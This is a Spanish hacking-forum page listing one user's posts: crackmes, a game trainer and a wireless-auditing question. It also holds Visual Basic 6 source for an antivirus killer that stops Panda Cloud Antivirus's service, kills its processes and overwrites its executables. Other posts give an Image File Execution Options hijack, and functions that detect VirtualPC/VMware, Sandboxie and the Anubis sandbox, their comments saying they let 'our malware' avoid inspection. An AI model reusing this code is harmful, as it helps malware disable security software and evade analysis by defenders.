elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8 9 10
41  Programación / Ingeniería Inversa / Crackme ¿Eres capaz de resolverlo? en: 16 Enero 2013, 18:10
Bueno, os dejo un pequeño crackme que he creado especialmente para el foro, opino que es muy sencillito, dificultad 2/10



Os dejo algo de información:

* Programado en VB6
* Está empaquetado
* He programado una rutina casera para evitar el debugg
* He programado un sistema casero para obfuscar las string's
* Hay código trampa escrito (trap-code)

Hay dos formas de solventar el crackme:

* Encontrar el serial correcto
* Parchear el ejecutable para que funcione con cualquier serial

Los 2 métodos son correctos, si puedes, intenta conseguir los 2 métodos :)

Utiliza éste hilo para preguntar dudas si estás atascado

DESCARGAR: http://www.mediafire.com/?ov4xqo4orqjr24e
42  Programación / Programación Visual Basic / Programar un Trainer en VB6 (GUI profesional) en: 13 Enero 2013, 00:03
Bueno, aqui os dejo mi ultima creación, es un Trainer para un juego. Requiere tener instalado Cheat Engine 6.2 en el sistema ( www.cheatengine.org )

Lo importante de aquí es la GUI, está programada en VisualBasic 6, tiene los siguientes efectos:

-- FadeIn Effect
-- Musica (hay 5 canciones distintas, suena una random cada vez que se ejecuta)
-- Efecto arco.iris en el fondo del formulario
-- Hay un formulario con la forma de MegaMan que se mueve
-- El boton [?] muestra un colorido efecto scrolltext vertical
-- El botón [nfo] muestra un efecto para ficheros NFO





Si no tenéis instalado el Cheat Engine, aparece un error, pero el trainer se sigue ejecutando para que podáis apreciar la GUI y los efectos. Si veo que el hilo tiene buena acogida postearé el source code.

DESCARGAR TRAINER: http://www.mediafire.com/?e6ihbhrfanohkc6

Thread Original: http://forum.cheatengine.org/viewtopic.php?t=561278

Desactiva Windows UAC o ejecuta el trainer como ADMINISTRADOR

Saludos!! :D
43  Seguridad Informática / Wireless en Linux / RT2500 vs ipw2200 (y otras dudas que tengo...) en: 2 Septiembre 2010, 16:07
Hola a todos, llevo un tiempo mirando y leyendo ésta sección del foro orientado a la auditoría wireless y tengo un par de dudas que espero alguien me pueda resolver:

Actualmente dispongo de un equipo portátil para "batallas", al cual he instalado el WifiWay 1.0 final en el propio HDD, así como algunos módulos actualizados para disponer de las últimas versiones de todas sus herramientas. Aquí viene mi primera duda:



Actualmente el portatil viene equipado con esa tarjeta (Ralink RT2500), el WifiWay me la detecta correctamente, puedo ponerla en modo monitor e inyectar.

Como tengo la suerte de trabajar de informático en mi empresa, he podido desmantelar otro equipo portátil y extraer su tarjeta wifi para mi uso personal (una Intel ipw2200)



Puedo instalar cualquiera de las 2 tarjetas en mi portatil, y al arrancar el WifiWay me las detecta sin problemas... aquí vienen mis preguntas:

1) Que tarjeta me recomendáis que deje instalada? Cual de las 2 es mejor para auditar e inyectar? He oído que para las ipw2200 se necesita un airoscript diferente, etc.... ¿Si vosotros pudierais escoger una de esas 2 tarjetas para vuestro uso, cual es quedariais?

2) Actualmente mi versión de WifiWay 1.0 que tengo instalado en el HDD viene con el aircrack-ng versión 0.7 (creo). Soy consciente que ha salido la versión 1.0 RC4 y la 1.1... Me recomendáis que actualice el módulo de aircark-ng que viene en el propio WifiWay? De ser así.. que versión me recomendáis?

3) En el caso de que alguien me recomiende actualizar... ¿Las herramientas que dependel del aircrack-ng (como por ejemplo el airoscript) me seguirán funcionando con la versión actualizada del aircrack-ng?

En principio esas son mis 3 dudas que tengo. Por lo demás voy avanzando en mis auditorias. Tengo las herramientas de WLANdecrypter y jazzteldecrypter actualizadas a la 1.3.1 y 2 (respectivamente), ya que son las que más utilizo. Por otra parte estoy abierto a sujerencias de nuevas herramientas que me puedan venir bien para esos 2 chipsets de los que dispongo.

He leído mucho ya por el foro, pero algunos tutorial que leo son algo antiguos y hablan de programas o procesos desfasados por completo, es por eso que me he animado a abrir éste thread para conseguir información actual.

Gracias :)
44  Seguridad Informática / Abril negro / Prueba de concepto - Anti Cloud Antivirus (Panda) en: 5 Mayo 2009, 23:27
Bueno, primero quiero aclarar que este programa/source no entra dentro del "concurso de desarrollo de malware de Abril Negro 2009". Pero sí entra dentro del boletín para Abril Negro 2009, como prueba de concepto...

Anti Cloud Antivirus by MadAntrax :P

He diseñado una simple función que aprovecha los comandos típicos de Windows (taskkill, net, etc...) y los he aplicado en forma de bucles FOR y Sleep's para generar un AV-Killer genérico. En éste caso lo he diseñado para el nuevo Cloud Antivirus de Panda



Que es Cloud Antivirus?

Es el nuevo antivirus gratuito desarrollado por Panda, usando un método de programación que evita sobrecargar la CPU del usuario (Cloud Computing). He analizado el AV y he decidido crear un AV Killer para "matar" el nuevo producto de Panda.

:http://www.cloudantivirus.com/default.aspx?lang=spa
:http://es.wikipedia.org/wiki/Computaci%C3%B3n_en_nube

El source del programa es el siguiente:

modAntiCloudAV.bas
Código
  1. Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  2.  
  3. Function StopService(ByVal sName As String) As Boolean
  4.    On Error Resume Next
  5.    Dim i As Integer
  6.  
  7.    For i = 1 To 3
  8.        Shell "net stop " & sName, vbHide
  9.        Sleep 250
  10.    Next i
  11.    Sleep 1000
  12.    DoEvents
  13.    StopService = True
  14. End Function
  15.  
  16. Function DestroyFile(ByVal sFileName As String, ByVal sFilePath As String) As Boolean
  17.    On Error Resume Next
  18.    Dim i As Integer
  19.  
  20.    For i = 1 To 3
  21.        Shell "taskkill /F /IM " & sFileName, vbHide
  22.        Sleep 250
  23.    Next i
  24.    Sleep 1000
  25.    DoEvents
  26.  
  27.    For i = 1 To 3
  28.        Open sFilePath For Output As #1
  29.            Print #1, "destroyed!"
  30.        Close #1
  31.        Sleep 10
  32.    Next i
  33.    DoEvents
  34.    DestroyFile = True
  35. End Function
  36.  

Éste código es genérico para la mayoría de Antivirus que basan su "protección" en servicios. Éste ejemplo no es válido para los Antivirus que basan su "protección" en drivers o hooks (Kaspersky, etc...). Para usar el módulo y matar CloudAV se utiliza así:

Código
  1. Private Sub CommandXP1_Click()
  2.    On Error Resume Next
  3.  
  4.    Dim WShell As Object
  5.    Dim CloudPath As String
  6.  
  7.    CommandXP1.Enabled = False
  8.    Set WShell = CreateObject("WScript.Shell")
  9.        CloudPath = WShell.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Panda Security\Nano Av\Setup\Path")
  10.    Set WShell = Nothing
  11.  
  12.    If CloudPath = "" Then
  13.        MsgBox "No se ha encontrado Cloud Antivirus instalado en el sistema", vbExclamation, "Anti-CloudAV"
  14.    Else
  15.        StopService "NanoServiceMain"
  16.        DoEvents
  17.        DestroyFile "PSUNMain.exe", CloudPath & "PSUNMain.exe"
  18.        DoEvents
  19.        DestroyFile "PSANHost.exe", CloudPath & "PSANHost.exe"
  20.        DoEvents
  21.        DestroyFile "PSANToManager.exe", CloudPath & "PSANToManager.exe"
  22.        DoEvents
  23.        'CloudAV destroyed
  24.        MsgBox "Proceso finalizado correctamente, comprueba si tu CloudAV sigue funcionando", vbInformation, "Anti-CloudAV"
  25.    End If
  26.    CommandXP1.Enabled = True
  27. End Sub
  28.  

El source es mejorable, se puede modificar para que no haga tantos bucles ni tantos sleep's y mejorar la rápidez. Pero como es una prueba de concepto... prefiero dejarlo así para evitar posibles copy&paste de noob's. Los que quieran usar ésta técnica tendrán la oportunidad de programarse correctamente un modulo más eficiente (evitar usar el objecto WScript, no usar Shell, cifrar las String's, control de errores, etc...)

;)

LINK DE DESCARGA: antiCloudAV (Fichero Compilado + Source en VB6)

Saludos.
45  Programación / Programación Visual Basic / [Source] - iFEO.exe bug (Image File Execution Options) en: 25 Marzo 2009, 15:51
Aquí dejo el source completo del programa iFEO.exe del que he hablado en este post original:

[Método] - iFEO bug (Image File Execution Options)

Aquí esta el source del programa, el módulo principal:

Código
  1. Function DropDummy(ByVal ThePath As String) As Boolean
  2.    On Error Resume Next
  3.  
  4.    File = ""
  5.    File = File & "4D5A0000504500004C0101006A2A58C3z8z040003010B01080001"
  6.    File = File & "000080z4z79z3z0Cz3z79z3z0Cz5z400004z3z04z3z74z3z20z3z"
  7.    File = File & "04z7z0401000088z7z02z19z4B45524E454C33322E646C6Cz4z38"
  8.  
  9.    i = 1
  10.    Tmp = ""
  11.    While i <= Len(File)
  12.        If Mid(File, i, 1) = "z" Then
  13.            a = i + 1
  14.            k = 0
  15.            While Mid(File, a, 1) <> "z"
  16.                k = k * 10 + Mid(File, a, 1)
  17.                a = a + 1
  18.            Wend
  19.            i = a + 1
  20.            For a = 1 To k
  21.                Tmp = Tmp + "00"
  22.            Next
  23.        ElseIf Mid(File, i, 1) <> "z" Then
  24.            Tmp = Tmp & Mid(File, i, 2)
  25.            i = i + 2
  26.        End If
  27.    Wend
  28.  
  29.    Set hFSO = CreateObject("Scripting.FileSystemObject")
  30.    Set hFile = hFSO.CreateTextFile(ThePath, ForWriting)
  31.    i = 1
  32.    While i < Len(Tmp)
  33.        File = Int("&H" & Mid(Tmp, i, 2))
  34.        hFile.Write (Chr(File))
  35.        i = i + 2
  36.    Wend
  37.    hFile.Close
  38.    DoEvents
  39.    DropDummy = True
  40. End Function
  41.  
  42. Function AddFileName(ByVal fName As String, ByVal DummyFile As String)
  43.    On Error Resume Next
  44.    Set WShell = CreateObject("WScript.Shell")
  45.    WShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" & fName & "\Debugger", Chr(34) & UCase(DummyFile) & Chr(34)
  46. End Function
  47.  
  48. Function DelFileName(ByVal fName As String)
  49.    On Error Resume Next
  50.    Set WShell = CreateObject("WScript.Shell")
  51.    WShell.RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" & fName & "\Debugger"
  52. End Function
  53.  

Y su descarga completa:

http://cactus-software.elhacker.net/iFEO Bug.zip

Saludos!!
46  Programación / Ingeniería Inversa / MadCrack: CrackMe v2 by MadAntrax (en desarrollo...) en: 4 Septiembre 2008, 22:58
MadCrack v2 (actualmente en desarrollo)

Última actualización: 04/09/08
Actualmente no se puede descargar este crackme, sed pacientes...

Bueno, aquí mi segunda versión (y posiblemente la última) de crackme's. Voy a dejar este post bloqueado y pegado, ya que diariamente iré completándolo poco a poco, subiendo más información e imágenes. Cuando lo tenga terminado lo desbloquearé y subiré el ejecutable para que os divirtáis un poco...

Información del CrackMe

En realidad no es el típico crackme al que estáis acostumbrados, este es del tipo Multi-Crackme, implementa las funciones de protección más comunes y otras funciones home-made (caseras, programadas por mí), entre las pruebas que hay que superar se encuentran las siguientes:

  • Nag-Screen
  • CheckBox Hive (home-made)
  • Push the CrazyButton (home-made)
  • Username & Password (el típico)
  • KeyFile (with CRC32 validation)
  • Number Hive (home-made)

¿Como está protegido?

Cada prueba puede ser superada de varias formas, algunas parcheando y otras no. Para poner las cosas más interesantes se han incluido 15 rutinas para proteger el crackme y evitar ser debuggeado, estas son:

  • Using a Loader
  • InstallASM_Thread()
  • BinaryFile Metamorphed
  • BinaryFile Packed with ¿...?
  • OutputDebugStringA()
  • GetTickCount
  • IsDebuggerPresent
  • Más protección que no puedo contar
  • ¿...?

Como está programado?

Bien, como en todas mis aplicaciones, sólo programo en VB6. Pero he querido hacer algo nuevo y divertido. He programado el crackme por módulos, cada módulo está dentro de un proyecto por separado, programado como DLL ActiveX (es decir, con extensión *.dll real). Algunas funciones y protecciones son llamadas a través de estas librerías que yo mismo he programado, así parece un entorno más real y divertido ¿no?

Encontraréis algunos ejecutables compilados bajo VB6 P-Code, otros como EXE ActiveX, otros como DLL ActiveX y otros como un simple VB6 native (el típico). Para finalizar, algunos módulos crean RemoteThreads e inyectan en ellos funciones directamente en ASM, que se encargan de proteger al crackme y hacer otras comprobaciones (esto pone las cosas más difíciles al debugger)

Bueno, a medida que vaya avanzando publicaré mas cosas, de momento os dejo unos screen-shoots:

La Nag-Screen:


El CheckBox Hive (buenísimo):


El CrazyButton:


El típico User & Pass:




Bueno, lo dicho. Se aceptan sugerencias, mejoras, ideas... Me gustaría dejar un crackme bien completo para que cada uno pueda aprender a saltarse los distintos tipos de protecciones más conocidos (nag's, keyfiles, user & pass, hives array's, etc...)

Actualmente no se puede descargar este crackme, sed pacientes...

Saludos!! MadAntrax
47  Programación / Ingeniería Inversa / MadCrack: CrackMe v1 by MadAntrax en: 30 Agosto 2008, 04:33
Hola a todos, éste es mi primer mensaje en este foro... varios usuarios me comentaron por privado: "tú sabes programar bastante, seguro que tus crackme's son complicados..." así que con éste comentario decidí programar mi primer crackme para vosotros:



Programado en VB6
Ejecutable empacado (se escribe así, no?)
Ejecutable protegido: Tiene 2 métodos de protección anti-debug
Dificultad: fácil

------------------------------

Este crackme es del tipo: KeyFile-crackme. Necesitas crear un fichero en la misma raíz del crackme para registrarlo. Es parecido al método que Kaspersky utiliza con su keyfile, pero en éste caso el keyfile sólo tiene que estar en la misma carpeta del ejecutable.

Hay 2 formas para completar este crackme

Método 1: Parchear el ejecutable para que acepte cualquier keyfile (o sencillamente hacerlo funcionar sin keyfile)

Método 2: Encontrar el KeyFile correcto, sin parchear ni modificar el ejecutable

Evidentemente, el segundo método tiene más mérito, los usuarios que completen éste crackme pondré su nick al final y pondré si lo han resuelto por el método 1, 2 o los dos.

Usuarios que lo han resuelto:

  • karmany: Método 2 -> Lo ha resuelto sin parchear el ejecutable!!

El crackme está adjunto al final de este primer mensaje, sólo visible a los usuarios registrados
48  Programación / Programación Visual Basic / [Source] IsVirtualPCPresent() - Sistema AntiVirtualPC en: 30 Junio 2008, 21:34
Tatatachan!!... aquí vuelvo con mi tercera función para los "anti's" en VB6, en este caso me he metido con la máquina virtual de Microsoft: VirtualPC 2007 Este método me gusta bastante porque es el primero que ha sido desarrollado íntegramente por mí, y de momento no he visto nadie que detecte un VirtualPC de la misma forma, empecemos...

¿Que método utilizas para detectar VirtualPC?

Revisé los otros sources en C/C++ para ver si me inspiraba, pero utilizaban técnicas algo profesionales para el pobre compilador de VB6, seguramente hay otra manera para detectar VirtualPC con VB6 pero esta es una de las más fáciles:

Con la ayuda de los Script WMI, hacemos un volcado de información sobre cada disco duro instalado en el equipo, concretamente buscamos 3 variables: Caption, Model  y PNP DeviceID. En un equipo físico obtendremos nombres relativos al fabricante y modelo de nuestro HDD, mientras que en VirtualPC obtendremos nombres parecidos a estos:

Virtual HD, IDE\DISKVIRTUAL01_, etc...

Así que recopilamos toda la información en una sola variable y buscamos el string: "VIRTUAL" en su interior, hacemos una comparación y ya tenemos nuestro anti-VirtualPC terminado!

Ueeee, ahora... ¿me das el source?

Aquí está el modulo principal:

Código
  1. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  2. ' Program:  Anti-VirtualPC 1.0
  3. ' Coder:    MadAntrax
  4. ' Web:      foro.elhacker.net
  5. ' Date:     30/06/08
  6. '
  7. ' Programa que detecta si nuestro malware
  8. ' se ejecuta en la máquina virtual: Virtual PC
  9. ' permitiendo finalizar el proceso de nuestro
  10. ' malware :)
  11. '
  12. ' Usar la función IsVirtualPCPresent() As Boolean
  13. ' Detecta el nombre, modelo y driver del HD para determinar
  14. ' si nos encontramos en VirtualPC
  15. '
  16. ' Original idea: MadAntrax
  17. ' Referencias: http://www.microsoft.com/technet/scriptcenter/scripts/storage/disks/drives/stdvvb19.mspx?mfr=true
  18. '
  19. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  20.  
  21. Function IsVirtualPCPresent() As Boolean
  22.    Dim DetectVirtualPC As String
  23.  
  24.    Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  25.    Set HDS = WMI.ExecQuery("Select * from Win32_DiskDrive")
  26.  
  27.    DetectVirtualPC = ""
  28.    For Each objHDS In HDS
  29.        DetectVirtualPC = DetectVirtualPC & objHDS.Caption & objHDS.Model & objHDS.PNPDeviceID
  30.    Next
  31.  
  32.    If InStr(UCase(DetectVirtualPC), "VIRTUAL") <> 0 Then
  33.        IsVirtualPCPresent = True
  34.    Else
  35.        IsVirtualPCPresent = False
  36.    End If
  37. End Function
  38.  

y para llamarlo, podemos usar algo así:

Código
  1. Sub Main()
  2.    If IsVirtualPCPresent = True Then
  3.        MsgBox "VirtualPC: Detectado"
  4.        End
  5.    End If
  6.    'Your Code Here
  7. End Sub
  8.  
  9.  

Saludos!!

EDITADO: Parece ser que esta misma función detecta de forma correcta VirtualPC 2007 y VMWare (los 2 software de virtualización más usados). Así que esta función sirve para los 2

 >:D
49  Programación / Programación Visual Basic / [Source] IsSandboxiePresent() - Sistema AntiSanboxie en: 28 Junio 2008, 16:04
Bueno, lo prometido es deuda... aquí os deja la función para detectar si nuestro malware se está ejecutando en la Sandbox de Sandboxie: IsSandboxiePresent()

¿Que es Sandboxie?

Es un software diseñado para ejecutar aplicaciones dentro de un entorno seguro (dentro de una Sandbox). Su funcionamiento consiste en aislar el ejecutable y detectar todos los cambios que realice en el sistema, permitiendo borrarlos con un solo click. Se parece a una máquina virtual, pero más sencillo de usar y configurar, para más info:

:http://www.sandboxie.com/

¿Que método utiliza para detectar Sandboxie?

He incluido 2 métodos, uno de ellos programado por steve10120 de hackhound y el otro método (menos efectivo pero mucho más simple) programado por mí. El segundo método requiere que nuestro malware tenga un Form en su interior.

El método de steve10120 detecta si se ha cargado el modulo SbieDll.dll dentro de nuestra aplicación, si se encuentra el módulo significa que nuestro malware está dentro de una Sandbox.

El otro método comprueba el caption de nuestro Formulario, si detecta la string "[ # ]" significa que nuestra aplicación se encuentra dentro de la Sandbox. Como verás el primer método es más profesional, pero más fácilmente detectable por la heurística al usar una API. El segundo método solo busca una serie de caracteres, esto puede inducir a falsos positivos pero es más sencillo de implementar.

Ok, ¿y el source?

Aquí os dejo el source completo:

Código
  1. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  2. ' Program:  Anti-Sandboxie 1.0
  3. ' Coder:    MadAntrax
  4. ' Web:      foro.elhacker.net
  5. ' Date:     28/06/08
  6. '
  7. ' Programa que detecta si nuestro malware
  8. ' se ejecuta en la SandBox de Sandboxie, permitiendo
  9. ' finalizar el proceso y evitar que inspeccionen nuestro
  10. ' malware :)
  11. '
  12. ' Usar la función IsSandboxiePresent(byval OptionToCheck As Integer) As Boolean
  13. ' Se han añadido 2 métodos de detección para Sandboxie, el primero
  14. ' está basado en la idea original de http://hackhound.org
  15. '
  16. ' El segundo método esta diseñado integramente por mí
  17. '
  18. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  19. '
  20. ' Ejemplos para usar esta función:
  21. '
  22. '   Método 1:
  23. '       If IsSandboxiePresent(1) = True Then End
  24. '
  25. '   Método 2:
  26. '       If IsSandBoxiePresent(2,Form1) = True Then End
  27. '
  28. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  29.  
  30. Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
  31.  
  32. Function IsSandBoxiePresent(ByVal OptionToCheck As Integer, Optional MainFrm As Form) As Boolean
  33.    Select Case OptionToCheck
  34.        Case 1  'Recomendado
  35.            Dim hSbie As Long
  36.  
  37.            hSbie = GetModuleHandle("SbieDll.dll")
  38.            If hSbie <> 0 Then
  39.                IsSandBoxiePresent = True
  40.            Else
  41.                IsSandBoxiePresent = False
  42.            End If
  43.        Case 2  'No recomendado
  44.            If InStr(MainFrm.Caption, "[#]") <> 0 Then
  45.                IsSandBoxiePresent = True
  46.            Else
  47.                IsSandBoxiePresent = False
  48.            End If
  49.    End Select
  50. End Function

Y para llamarlo hay que usar lo siguiente:

Código
  1. Sub Main()
  2.    If IsSandBoxiePresent(1) = True Then End
  3.    '   Your Code Hare...
  4. End Sub
  5.  

Y si quieres usar el segundo método, de esta forma:

Código
  1. Private Sub Form_Load()
  2.    If IsSandBoxiePresent(2, Form1) = True Then End
  3.    'Your Code Here
  4. End Sub
  5.  

Saludos!! :P
50  Programación / Programación Visual Basic / [Source] IsAnubisPresent() - Sistema AntiAnubis SandBox en: 27 Junio 2008, 23:17
Aquí vuelvo con una nueva función: IsAnubisPresent(). Dicha función permite de una forma muy rápida saber si nuestra aplicación se está ejecutando dentro de la SandBox de Anubis, permitiendo en tal caso terminar la ejecución del programa y evitar que nuestras funciones sean inspeccionadas por el usuario, pero antes...

¿Que es Anubis?

Anubis es un servicio gratuito que permite a un usuario enviar un fichero ejecutable para ser examinado de forma exhaustiva. Anubis es una aplicación con un front-end basado en Web, pero el back-end sigue tratándose de un simple PC con Windows instalado y una SandBox que recopila información de los ficheros enviados.

Anubis Web :http://anubis.iseclab.org/

¿Como funciona IsAnubisPresent()?

Bien, como ya se ha explicado, el back-end de este servicio es un Windows completo: con su registro, sus ficheros, sus variables de sistema, etc... mucha de esta información es única (por ejemplo el número de serie del HDD, el número de serie del ID de Windows, etc...) y con una simple comparación podemos saber si nuestro ejecutable esta siendo analizado desde ese Sistema Operativo en concreto

Vale, lo entiendo... pero ¿como has adivinado los números de serie del Windows de Anubis?

Bueno, la idea no es 100% mía. En internet circula un Source algo extenso y desordenado que recoge la información de una variable del registro para comparar el ProductId, viendo ese source se me ocurrió la idea de programar mi propio: Anubis-Dumper. Este programa recopila dicha información única del Sistema Operativo Windows de Anubis y genera carpetas en la raiz con los valores recopilados, con el único fin de mostrar dichos valores por el propio sistema de análisis de Anubis.

Aquí una captura del Anubis-Dumper que me permitió recopilar los datos



Una vez que tenemos los valores, solo he tenido que generar una sencilla función que haga las comprobaciones oportunas para detectar si el ejecutable se haya bajo el análisis de Anubis

Ole!, dejemonos de royos, donde está el source?

Aquí te dejo el source principal: Anti-Anubis

Código
  1. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  2. ' Program:  Anti-Anubis 1.0
  3. ' Coder:    MadAntrax
  4. ' Web:      foro.elhacker.net
  5. ' Date:     27/06/08
  6. '
  7. ' Programa que detecta si nuestro malware
  8. ' se ejecuta en la SandBox de Anubis, permitiendo
  9. ' finalizar el proceso y evitar que inspeccionen nuestro
  10. ' malware :)
  11. '
  12. ' Original idea: http://hackhound.org
  13. '
  14. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  15. Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
  16.  
  17. Function IsAnubisPresent(ByVal OptionToCheck As Integer) As Boolean
  18.    On Error Resume Next
  19.    Set WShell = CreateObject("WScript.Shell")
  20.  
  21.    Select Case OptionToCheck
  22.        Case 1  'Recomendado
  23.            If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then
  24.                IsAnubisPresent = True
  25.            Else
  26.                IsAnubisPresent = False
  27.            End If
  28.        Case 2  'Recomendado
  29.            If WShell.RedRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId") = "76487-337-8429955-22614" Then
  30.                IsAnubisPresent = True
  31.            Else
  32.                IsAnubisPresent = False
  33.            End If
  34.        Case 3  'No recomendado
  35.            If UCase(App.EXEName) = "SAMPLE" Then
  36.                IsAnubisPresent = True
  37.            Else
  38.                IsAnubisPresent = False
  39.            End If
  40.        Case 4  'No recomendado
  41.            If UCase(Environ("USERNAME")) = "USER" Then
  42.                IsAnubisPresent = True
  43.            Else
  44.                IsAnubisPresent = False
  45.            End If
  46.    End Select
  47. End Function
  48.  
  49. Public Function GetSerialNumber(DriveLetter As String) As Long
  50.    Buffer1 = String$(255, Chr$(0))
  51.    Buffer2 = String$(255, Chr$(0))
  52.    Res = GetVolumeInformation(DriveLetter, Buffer1, Len(Buffer1), SerialNum, 0, 0, Buffer2, Len(Buffer2))
  53.    GetSerialNumber = SerialNum
  54. End Function

Para ejecutar el programa se recomienda lo siguiente:

Código
  1. Sub Main()
  2. If Is AnubisPresent(1) = True Then End
  3. 'Your Code Here...
  4. End Sub

Y por si alguien le interesa, os dejo el Source del Anubis-Dumper, solo hay que compilar el dumper y enviarlo para analizar al propio Anubis, en cuestión de minutos obtendremos las variables preparadas para programar las condiciones para el Anti-Anubis.

Código
  1. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  2. ' Program:  Anubis-Dumper 1.0
  3. ' Coder:    MadAntrax
  4. ' Web:      foro.elhacker.net
  5. ' Date:     27/06/08
  6. '
  7. ' Programa que recopila cierta información del sistema
  8. ' y genera carpetas en la raíz con el único fin
  9. ' de mostrar dicho contenido en la web de Anubis
  10. '
  11. ' Original idea: http://hackhound.org
  12. '
  13. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  14. Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
  15.  
  16. Public Function GetSerialNumber(strDrive As String) As Long
  17.    Temp1 = String$(255, Chr$(0))
  18.    Temp2 = String$(255, Chr$(0))
  19.    Res = GetVolumeInformation(strDrive, Temp1, Len(Temp1), SerialNum, 0, 0, Temp2, Len(Temp2))
  20.    GetSerialNumber = SerialNum
  21. End Function
  22.  
  23. Sub Main()
  24.    On Error Resume Next
  25.  
  26.    Set WShell = CreateObject("WScript.Shell")
  27.    MkDir GetSerialNumber(Environ("SystemDrive") & "\")
  28.    MkDir Environ("USERNAME")
  29.    MkDir App.EXEName
  30.  
  31.    AA = WShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId")
  32.    MkDir AA
  33.    DoEvents
  34.    End
  35. End Sub

Dejo adjunto un fichero con los 2 sources preparados. Saludos!!
Páginas: 1 2 3 4 [5] 6 7 8 9 10
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines